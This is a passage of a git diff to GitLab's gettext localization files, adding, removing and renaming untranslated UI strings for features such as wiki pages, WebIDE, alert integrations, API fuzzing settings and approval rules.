@@ -33026,9 +33814,15 @@ msgstr ""
msgid "View log"
msgstr ""
+msgid "View logs"
+msgstr ""
+
msgid "View merge request"
msgstr ""
+msgid "View on %{url}"
+msgstr ""
+
msgid "View open merge request"
msgstr ""
@@ -33056,6 +33850,9 @@ msgstr ""
msgid "View the documentation"
msgstr ""
+msgid "View the jobs grouped into stages"
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -33065,6 +33862,9 @@ msgstr ""
msgid "View users statistics"
msgstr ""
+msgid "View what jobs are needed for a job to run"
+msgstr ""
+
msgid "Viewed"
msgstr ""
@@ -33470,15 +34270,30 @@ msgstr ""
msgid "WebAuthn only works with HTTPS-enabled websites. Contact your administrator for more details."
msgstr ""
+msgid "WebIDE|Fork project"
+msgstr ""
+
+msgid "WebIDE|Go to fork"
+msgstr ""
+
msgid "WebIDE|Merge request"
msgstr ""
+msgid "WebIDE|This project does not accept unsigned commits."
+msgstr ""
+
+msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgstr ""
+
msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
msgstr ""
+msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgstr ""
+
msgid "Webhook"
msgstr ""
@@ -33653,6 +34468,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is repository mirroring?"
+msgstr ""
+
msgid "What is squashing?"
msgstr ""
@@ -33751,9 +34569,6 @@ msgstr ""
msgid "WikiClone|Start Gollum and edit locally"
msgstr ""
-msgid "WikiEditPageTip|Tip: You can move this page by adding the path to the beginning of the title."
-msgstr ""
-
msgid "WikiEdit|There is already a page with the same title in that path."
msgstr ""
@@ -33826,34 +34641,49 @@ msgstr ""
msgid "WikiHistoricalPage|most recent version"
msgstr ""
-msgid "WikiMarkdownDocs|More examples are in the %{docs_link}"
+msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
+msgstr ""
+
+msgid "WikiPageConfirmDelete|Delete page"
msgstr ""
-msgid "WikiMarkdownDocs|documentation"
+msgid "WikiPageConfirmDelete|Delete page %{pageTitle}?"
msgstr ""
-msgid "WikiMarkdownTip|To link to a (new) page, simply type %{link_example}"
+msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
-msgid "WikiNewPageTip|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgid "WikiPage|Commit message"
msgstr ""
-msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
+msgid "WikiPage|Content"
msgstr ""
-msgid "WikiPageConfirmDelete|Delete page"
+msgid "WikiPage|Create %{pageTitle}"
msgstr ""
-msgid "WikiPageConfirmDelete|Delete page %{pageTitle}?"
+msgid "WikiPage|Create page"
msgstr ""
-msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
+msgid "WikiPage|Format"
msgstr ""
-msgid "WikiPageCreate|Create %{pageTitle}"
+msgid "WikiPage|Page title"
msgstr ""
-msgid "WikiPageEdit|Update %{pageTitle}"
+msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
+msgstr ""
+
+msgid "WikiPage|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgstr ""
+
+msgid "WikiPage|Title"
+msgstr ""
+
+msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
+msgstr ""
+
+msgid "WikiPage|Update %{pageTitle}"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -33865,9 +34695,6 @@ msgstr ""
msgid "Wiki|Create New Page"
msgstr ""
-msgid "Wiki|Create page"
-msgstr ""
-
msgid "Wiki|Created date"
msgstr ""
@@ -33880,9 +34707,6 @@ msgstr ""
msgid "Wiki|Page history"
msgstr ""
-msgid "Wiki|Page title"
-msgstr ""
-
msgid "Wiki|Page version"
msgstr ""
@@ -33943,6 +34767,9 @@ msgstr ""
msgid "Write a comment…"
msgstr ""
+msgid "Write a description or drag your files here…"
+msgstr ""
+
msgid "Write milestone description..."
msgstr ""
@@ -34099,6 +34926,12 @@ msgstr ""
msgid "You can create a new one or check them in your %{pat_link_start}personal access tokens%{pat_link_end} settings"
msgstr ""
+msgid "You can create a new one or check them in your %{ssh_key_link_start}SSH keys%{ssh_key_link_end} settings."
+msgstr ""
+
+msgid "You can create a new one or check them in your SSH keys settings %{ssh_key_link}."
+msgstr ""
+
msgid "You can create a new one or check them in your personal access tokens settings %{pat_link}"
msgstr ""
@@ -34240,6 +35073,9 @@ msgstr ""
msgid "You do not have permission to access deployment frequencies"
msgstr ""
+msgid "You do not have permission to access dora metrics."
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr ""
@@ -34324,9 +35160,6 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
-msgid "You have insufficient permissions to create an on-call rotation for this project"
-msgstr ""
-
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
@@ -34363,12 +35196,6 @@ msgstr ""
msgid "You have successfully purchased a %{plan} plan subscription for %{seats}. You’ll receive a receipt via email."
msgstr ""
-msgid "You haven't added any issues to your project yet"
-msgstr ""
-
-msgid "You haven't selected any issues yet"
-msgstr ""
-
msgid "You left the \"%{membershipable_human_name}\" %{source_type}."
msgstr ""
@@ -34402,7 +35229,7 @@ msgstr ""
msgid "You must select a stack for configuring your cloud provider. Learn more about"
msgstr ""
-msgid "You must set up incoming email before it becomes active."
+msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
msgid "You must upload a file with the same file name when dropping onto an existing design."
@@ -34417,9 +35244,6 @@ msgstr ""
msgid "You need permission."
msgstr ""
-msgid "You need to be logged in."
-msgstr ""
-
msgid "You need to register a two-factor authentication app before you can set up a device."
msgstr ""
@@ -34603,12 +35427,18 @@ msgstr ""
msgid "Your Public Email will be displayed on your public profile."
msgstr ""
+msgid "Your SSH key has expired"
+msgstr ""
+
msgid "Your SSH key was deleted"
msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
+msgid "Your SSH keys with the following fingerprints has expired:"
+msgstr ""
+
msgid "Your To-Do List"
msgstr ""
@@ -34729,6 +35559,9 @@ msgstr ""
msgid "Your license is valid from"
msgstr ""
+msgid "Your license was successfully synced."
+msgstr ""
+
msgid "Your license will be included in your GitLab backup and will survive upgrades, so in normal usage you should never need to re-upload your %{code_open}.gitlab-license%{code_close} file."
msgstr ""
@@ -34822,7 +35655,7 @@ msgstr ""
msgid "[No reason]"
msgstr ""
-msgid "[Unchanged]"
+msgid "[Redacted]"
msgstr ""
msgid "`end_time` should not exceed one month after `start_time`"
@@ -34929,6 +35762,9 @@ msgstr ""
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't include: %{invalid_storages}"
+msgstr ""
+
msgid "cannot be a date in the past"
msgstr ""
@@ -35231,6 +36067,15 @@ msgstr ""
msgid "created"
msgstr ""
+msgid "created %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user} in Jira"
+msgstr ""
+
msgid "created %{timeAgo}"
msgstr ""
@@ -35415,6 +36260,9 @@ msgstr ""
msgid "http:"
msgstr ""
+msgid "http://www.example.com"
+msgstr ""
+
msgid "https://your-bitbucket-server"
msgstr ""
@@ -35585,7 +36433,7 @@ msgstr ""
msgid "manual"
msgstr ""
-msgid "math|The math in this entry is taking too long to render and may not be displayed as expected. For performance reasons, math blocks are also limited to %{maxChars} characters. Consider splitting up large formulae, splitting math blocks among multiple entries, or using an image instead."
+msgid "math|Displaying this math block may cause performance issues on this page"
msgstr ""
msgid "math|There was an error rendering this math block"
@@ -35620,13 +36468,10 @@ msgstr ""
msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr ""
-msgid "mrWidgetNothingToMerge|Currently there are no changes in this merge request's source branch. Please push new commits or use a different branch."
-msgstr ""
-
-msgid "mrWidgetNothingToMerge|Interested parties can even contribute by pushing commits if they want to."
+msgid "mrWidgetNothingToMerge|This merge request contains no changes."
msgstr ""
-msgid "mrWidgetNothingToMerge|Merge requests are a place to propose changes you have made to a project and discuss those changes with others."
+msgid "mrWidgetNothingToMerge|Use merge requests to propose changes to your project and discuss them with your team. To make changes, push a commit or edit this merge request to use a different branch. With %{linkStart}CI/CD%{linkEnd}, automatically test your changes before merging."
msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
@@ -35740,9 +36585,6 @@ msgstr ""
msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
msgstr ""
-msgid "mrWidget|If the %{branch} branch exists in your local repository, you can merge this merge request manually using the"
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
@@ -35893,18 +36735,12 @@ msgstr ""
msgid "mrWidget|You can merge after removing denied licenses"
msgstr ""
-msgid "mrWidget|You can merge this merge request manually using the"
-msgstr ""
-
msgid "mrWidget|Your password"
msgstr ""
msgid "mrWidget|branch does not exist."
msgstr ""
-msgid "mrWidget|command line"
-msgstr ""
-
msgid "mrWidget|into"
msgstr ""
@@ -35935,9 +36771,6 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must be later than active period start"
-msgstr ""
-
msgid "must contain only valid frameworks"
msgstr ""
@@ -36004,15 +36837,6 @@ msgstr ""
msgid "open issue"
msgstr ""
-msgid "opened %{timeAgoString} by %{email} via %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user} in Jira"
-msgstr ""
-
msgid "opened %{timeAgo}"
msgstr ""
@@ -36290,9 +37114,6 @@ msgstr ""
msgid "to join %{source_name}"
msgstr ""
-msgid "to list"
-msgstr ""
-
msgid "toggle collapse"
msgstr ""
@@ -36338,6 +37159,12 @@ msgstr ""
msgid "v%{version} published %{timeAgo}"
msgstr ""
+msgid "value for '%{storage}' must be an integer"
+msgstr ""
+
+msgid "value for '%{storage}' must be between 0 and 100"
+msgstr ""
+
msgid "verify ownership"
msgstr ""
diff --git a/locale/hy_AM/gitlab.po b/locale/hy_AM/gitlab.po
index 148899cd451..ba8cfbbb2b6 100644
--- a/locale/hy_AM/gitlab.po
+++ b/locale/hy_AM/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: hy-AM\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-03-05 23:55\n"
+"PO-Revision-Date: 2021-04-02 00:16\n"
-msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
+msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
msgstr ""
msgid " %{start} to %{end}"
@@ -120,6 +120,11 @@ msgid_plural "%d changed files"
msgstr[0] ""
msgstr[1] ""
+msgid "%d character remaining"
+msgid_plural "%d characters remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d child epic"
msgid_plural "%d child epics"
msgstr[0] ""
@@ -203,6 +208,11 @@ msgid_plural "%d failed security jobs"
msgstr[0] ""
msgstr[1] ""
+msgid "%d file"
+msgid_plural "%d files"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d fixed test result"
msgid_plural "%d fixed test results"
msgstr[0] ""
@@ -392,6 +402,9 @@ msgstr ""
msgid "%{board_target} not found"
msgstr ""
+msgid "%{codeStart}needs:%{codeEnd} relationships"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -404,6 +417,11 @@ msgstr ""
msgid "%{completedCount} completed weight"
msgstr ""
+msgid "%{completedCount} of %{count} task completed"
+msgid_plural "%{completedCount} of %{count} tasks completed"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{completedWeight} of %{totalWeight} weight completed"
msgstr ""
@@ -430,19 +448,9 @@ msgstr ""
msgid "%{count} files touched"
msgstr ""
-msgid "%{count} issue selected"
-msgid_plural "%{count} issues selected"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{count} items per page"
msgstr ""
-msgid "%{count} merge request selected"
-msgid_plural "%{count} merge requests selected"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{count} more"
msgstr ""
@@ -537,7 +545,7 @@ msgstr ""
msgid "%{group_name} uses group managed accounts. You need to create a new GitLab account which will be managed by %{group_name}."
msgstr ""
-msgid "%{group_name}&%{epic_iid} &middot; opened %{epic_created} by %{author}"
+msgid "%{group_name}&%{epic_iid} &middot; created %{epic_created} by %{author}"
msgstr ""
msgid "%{hook_type} was deleted"
@@ -930,6 +938,9 @@ msgstr ""
msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
msgstr ""
+msgid "%{userLinkStart}%{user}%{linkEnd} created a %{mrLinkStart}merge request%{linkEnd}:"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -1063,6 +1074,9 @@ msgstr[1] ""
msgid "+%{approvers} more approvers"
msgstr ""
+msgid "+%{extra} more"
+msgstr ""
+
msgid "+%{more_assignees_count}"
msgstr ""
@@ -1143,6 +1157,11 @@ msgid_plural "%d days"
msgstr[0] ""
msgstr[1] ""
+msgid "1 day remaining"
+msgid_plural "%d days remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 deploy key"
msgid_plural "%d deploy keys"
msgstr[0] ""
@@ -1163,6 +1182,16 @@ msgid_plural "%d hours"
msgstr[0] ""
msgstr[1] ""
+msgid "1 issue selected"
+msgid_plural "%d issues selected"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "1 merge request selected"
+msgid_plural "%d merge request selected"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 merged merge request"
msgid_plural "%{merge_requests} merged merge requests"
msgstr[0] ""
@@ -1173,6 +1202,11 @@ msgid_plural "%d minutes"
msgstr[0] ""
msgstr[1] ""
+msgid "1 month remaining"
+msgid_plural "%d months remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 open issue"
msgid_plural "%{issues} open issues"
msgstr[0] ""
@@ -1198,6 +1232,16 @@ msgid_plural "%{num} users"
msgstr[0] ""
msgstr[1] ""
+msgid "1 week remaining"
+msgid_plural "%d weeks remaining"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "1 year remaining"
+msgid_plural "%d years remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1-9 contributions"
msgstr ""
@@ -1315,9 +1359,6 @@ msgstr ""
msgid "A file with '%{file_name}' already exists in %{branch} branch"
msgstr ""
-msgid "A fork is a copy of a project."
-msgstr ""
-
msgid "A group is a collection of several projects"
msgstr ""
@@ -1327,13 +1368,10 @@ msgstr ""
msgid "A job artifact is an archive of files and directories saved by a job when it finishes."
msgstr ""
-msgid "A label list displays issues with the selected label."
-msgstr ""
-
msgid "A limit of %{ci_project_subscriptions_limit} subscriptions to or from a project applies."
msgstr ""
-msgid "A maximum of %{count} participants can be added"
+msgid "A management, operational, or technical control (that is, safeguard or countermeasure) employed by an organization that provides equivalent or comparable protection for an information system."
msgstr ""
msgid "A member of the abuse team will review your report as soon as possible."
@@ -1408,9 +1446,6 @@ msgstr ""
msgid "A title is required"
msgstr ""
-msgid "A user can only participate in a rotation once"
-msgstr ""
-
msgid "A user with write access to the source branch selected this option"
msgstr ""
@@ -1429,13 +1464,25 @@ msgstr ""
msgid "API Token"
msgstr ""
-msgid "APIFuzzing|API Fuzzing Configuration"
+msgid "API key"
+msgstr ""
+
+msgid "API version"
+msgstr ""
+
+msgid "APIFuzzing|$VariableWithPassword"
msgstr ""
-msgid "APIFuzzing|Authentication is handled by providing HTTP basic authentication token as a header or cookie. %{linkStart}More information%{linkEnd}."
+msgid "APIFuzzing|$VariableWithUsername"
msgstr ""
-msgid "APIFuzzing|Base URL of API fuzzing target."
+msgid "APIFuzzing|/folder/example_file.json"
+msgstr ""
+
+msgid "APIFuzzing|API Fuzzing Configuration"
+msgstr ""
+
+msgid "APIFuzzing|Base URL of API testing target. For example, http://www.example.com."
msgstr ""
msgid "APIFuzzing|Choose a method"
@@ -1447,6 +1494,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
msgstr ""
+msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
msgstr ""
@@ -1459,16 +1509,19 @@ msgstr ""
msgid "APIFuzzing|Enable authentication"
msgstr ""
-msgid "APIFuzzing|Ex: $TestPassword"
+msgid "APIFuzzing|Enter the name of the variable containing the password. For example, $VariableWithPassword."
+msgstr ""
+
+msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: $TestUsername"
+msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
msgstr ""
msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.json"
+msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
@@ -1477,16 +1530,16 @@ msgstr ""
msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Instead of entering the password directly, enter the key of the CI variable set to the password."
+msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
-msgid "APIFuzzing|Instead of entering the username directly, enter the key of the CI variable set to the username."
+msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Make sure your credentials are secured"
+msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
msgstr ""
-msgid "APIFuzzing|Password for basic authentication"
+msgid "APIFuzzing|Predefined profiles"
msgstr ""
msgid "APIFuzzing|Scan mode"
@@ -1519,9 +1572,6 @@ msgstr ""
msgid "APIFuzzing|Username for basic authentication"
msgstr ""
-msgid "APIFuzzing|We recommend that you review the JSON specifications file before adding it to a repository."
-msgstr ""
-
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
@@ -1699,6 +1749,9 @@ msgstr ""
msgid "Account: %{account}"
msgstr ""
+msgid "Action"
+msgstr ""
+
msgid "Action to take when receiving an alert. %{docsLink}"
msgstr ""
@@ -1729,11 +1782,6 @@ msgstr ""
msgid "Add \"%{value}\""
msgstr ""
-msgid "Add %d issue"
-msgid_plural "Add %d issues"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
@@ -1779,6 +1827,9 @@ msgstr ""
msgid "Add a Grafana button in the admin sidebar, monitoring section, to access a variety of statistics on the health and performance of GitLab."
msgstr ""
+msgid "Add a Jaeger URL to replace this page with a link to your Jaeger server. You first need to %{link_start_tag}install Jaeger%{link_end_tag}."
+msgstr ""
+
msgid "Add a bullet list"
msgstr ""
@@ -1854,6 +1905,9 @@ msgstr ""
msgid "Add comment to design"
msgstr ""
+msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1881,9 +1935,6 @@ msgstr ""
msgid "Add image comment"
msgstr ""
-msgid "Add issues"
-msgstr ""
-
msgid "Add italic text"
msgstr ""
@@ -1911,6 +1962,9 @@ msgstr ""
msgid "Add previously merged commits"
msgstr ""
+msgid "Add projects"
+msgstr ""
+
msgid "Add reaction"
msgstr ""
@@ -1929,6 +1983,9 @@ msgstr ""
msgid "Add to Slack"
msgstr ""
+msgid "Add to board"
+msgstr ""
+
msgid "Add to epic"
msgstr ""
@@ -2022,6 +2079,9 @@ msgstr ""
msgid "Additional text"
msgstr ""
+msgid "Address"
+msgstr ""
+
msgid "Adds"
msgstr ""
@@ -2049,6 +2109,9 @@ msgstr ""
msgid "Admin Area"
msgstr ""
+msgid "Admin Mode"
+msgstr ""
+
msgid "Admin Note"
msgstr ""
@@ -2190,9 +2253,6 @@ msgstr ""
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
-msgid "AdminNote|Note"
-msgstr ""
-
msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources including issues, merge requests, etc.. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr ""
@@ -2628,6 +2688,12 @@ msgstr ""
msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
msgstr ""
+msgid "Admin|Admin notes"
+msgstr ""
+
+msgid "Admin|Note"
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -2675,6 +2741,9 @@ msgid_plural "Alerts"
msgstr[0] ""
msgstr[1] ""
+msgid "Alert integrations"
+msgstr ""
+
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -2837,6 +2906,12 @@ msgstr ""
msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
msgstr ""
+msgid "AlertSettings|A URL and authorization key have been created for your integration. You will need them to setup a webhook and authorize your endpoint to send alerts to GitLab."
+msgstr ""
+
+msgid "AlertSettings|A webhook URL and authorization key will be generated for the integration. Both will be visible after saving the integration in the “View credentials†tab."
+msgstr ""
+
msgid "AlertSettings|Add new integration"
msgstr ""
@@ -2852,13 +2927,16 @@ msgstr ""
msgid "AlertSettings|Delete integration"
msgstr ""
+msgid "AlertSettings|Edit integration"
+msgstr ""
+
msgid "AlertSettings|Edit payload"
msgstr ""
-msgid "AlertSettings|Enter integration name"
+msgid "AlertSettings|Enable integration"
msgstr ""
-msgid "AlertSettings|External Prometheus"
+msgid "AlertSettings|Enter integration name"
msgstr ""
msgid "AlertSettings|HTTP Endpoint"
@@ -2867,25 +2945,28 @@ msgstr ""
msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
msgstr ""
-msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
+msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click the \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
msgstr ""
msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
+msgid "AlertSettings|Integration successfully saved"
+msgstr ""
+
msgid "AlertSettings|Name integration"
msgstr ""
-msgid "AlertSettings|Parse payload for custom mapping"
+msgid "AlertSettings|Parse payload fields"
msgstr ""
msgid "AlertSettings|Proceed with editing"
msgstr ""
-msgid "AlertSettings|Prometheus API base URL"
+msgid "AlertSettings|Prometheus"
msgstr ""
-msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional)."
+msgid "AlertSettings|Prometheus API base URL"
msgstr ""
msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This will allow you to send an alert to an active GitLab alerting point."
@@ -2900,24 +2981,36 @@ msgstr ""
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
-msgid "AlertSettings|Sample alert payload (optional)"
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
msgstr ""
-msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgid "AlertSettings|Save & create test alert"
msgstr ""
msgid "AlertSettings|Save integration"
msgstr ""
-msgid "AlertSettings|Select integration type"
+msgid "AlertSettings|Save integration & send"
msgstr ""
-msgid "AlertSettings|Send"
+msgid "AlertSettings|Select integration type"
msgstr ""
msgid "AlertSettings|Send test alert"
msgstr ""
+msgid "AlertSettings|Send without saving"
+msgstr ""
+
+msgid "AlertSettings|The default GitLab alert fields are listed below. If you choose to map your payload keys to GitLab's, please make a selection in the dropdowns below. You may also opt to leave the fields unmapped and move straight to saving your integration."
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes"
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes. How would you like to proceed?"
+msgstr ""
+
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
@@ -2927,6 +3020,9 @@ msgstr ""
msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|View URL and authorization key"
+msgstr ""
+
msgid "AlertSettings|View credentials"
msgstr ""
@@ -2936,9 +3032,6 @@ msgstr ""
msgid "AlertSettings|You can now set up alert endpoints for manually configured Prometheus instances in the Alerts section on the Operations settings page. Alert endpoint fields on this page have been deprecated."
msgstr ""
-msgid "AlertSettings|Your integration was successfully updated."
-msgstr ""
-
msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
msgstr ""
@@ -2975,7 +3068,10 @@ msgstr ""
msgid "AlertsIntegrations|The integration has been successfully removed."
msgstr ""
-msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgid "AlertsIntegrations|The integration has been successfully saved."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration is currently inactive. Enable the integration to send the test alert."
msgstr ""
msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
@@ -3065,9 +3161,6 @@ msgstr ""
msgid "Allow only the selected protocols to be used for Git access."
msgstr ""
-msgid "Allow overrides to approval lists per merge request (MR)"
-msgstr ""
-
msgid "Allow owners to manage default branch protection per group"
msgstr ""
@@ -3131,6 +3224,9 @@ msgstr ""
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
+msgid "Allowed group"
+msgstr ""
+
msgid "Allowed to create:"
msgstr ""
@@ -3158,6 +3254,9 @@ msgstr ""
msgid "Also called \"Relying party service URL\" or \"Reply URL\""
msgstr ""
+msgid "Also remove direct user membership from subgroups and projects"
+msgstr ""
+
msgid "Also unassign this user from related issues and merge requests"
msgstr ""
@@ -3215,6 +3314,9 @@ msgstr ""
msgid "An error has occurred"
msgstr ""
+msgid "An error in reporting in which a test result incorrectly indicates the presence of a vulnerability in a system when the vulnerability is not present."
+msgstr ""
+
msgid "An error occurred adding a draft to the thread."
msgstr ""
@@ -3338,6 +3440,9 @@ msgstr ""
msgid "An error occurred while fetching projects autocomplete."
msgstr ""
+msgid "An error occurred while fetching reference"
+msgstr ""
+
msgid "An error occurred while fetching sidebar data"
msgstr ""
@@ -3350,9 +3455,6 @@ msgstr ""
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
-msgid "An error occurred while fetching the builds."
-msgstr ""
-
msgid "An error occurred while fetching the job log."
msgstr ""
@@ -3443,7 +3545,7 @@ msgstr ""
msgid "An error occurred while loading the file. Please try again later."
msgstr ""
-msgid "An error occurred while loading the members, please try again."
+msgid "An error occurred while loading the file. Please try again."
msgstr ""
msgid "An error occurred while loading the merge request changes."
@@ -3581,9 +3683,6 @@ msgstr ""
msgid "An issue already exists"
msgstr ""
-msgid "An issue can be a bug, a todo or a feature request that needs to be discussed in a project. Besides, issues are searchable and filterable."
-msgstr ""
-
msgid "An issue title is required"
msgstr ""
@@ -3785,6 +3884,9 @@ msgstr ""
msgid "Approval rules reset to project defaults"
msgstr ""
+msgid "Approval settings"
+msgstr ""
+
msgid "ApprovalRuleRemove|%d member"
msgid_plural "ApprovalRuleRemove|%d members"
msgstr[0] ""
@@ -3808,6 +3910,9 @@ msgid_plural "ApprovalRuleSummary|%{count} approvals required from %{membersCoun
msgstr[0] ""
msgstr[1] ""
+msgid "ApprovalRule|Add approvers"
+msgstr ""
+
msgid "ApprovalRule|Approval rules"
msgstr ""
@@ -3817,6 +3922,9 @@ msgstr ""
msgid "ApprovalRule|Approvers"
msgstr ""
+msgid "ApprovalRule|Examples: QA, Security."
+msgstr ""
+
msgid "ApprovalRule|Name"
msgstr ""
@@ -3826,9 +3934,6 @@ msgstr ""
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|e.g. QA, Security, etc."
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -3966,6 +4071,12 @@ msgid_plural "Are you sure you want to import %d repositories?"
msgstr[0] ""
msgstr[1] ""
+msgid "Are you sure you want to lock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to lock this directory?"
+msgstr ""
+
msgid "Are you sure you want to lose unsaved changes?"
msgstr ""
@@ -4026,6 +4137,12 @@ msgstr ""
msgid "Are you sure you want to unlock %{path_lock_path}?"
msgstr ""
+msgid "Are you sure you want to unlock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to unlock this directory?"
+msgstr ""
+
msgid "Are you sure you want to unsubscribe from the %{type}: %{link_to_noteable_text}?"
msgstr ""
@@ -4068,13 +4185,13 @@ msgstr ""
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr ""
-msgid "AsanaService|Asana - Teamwork without email"
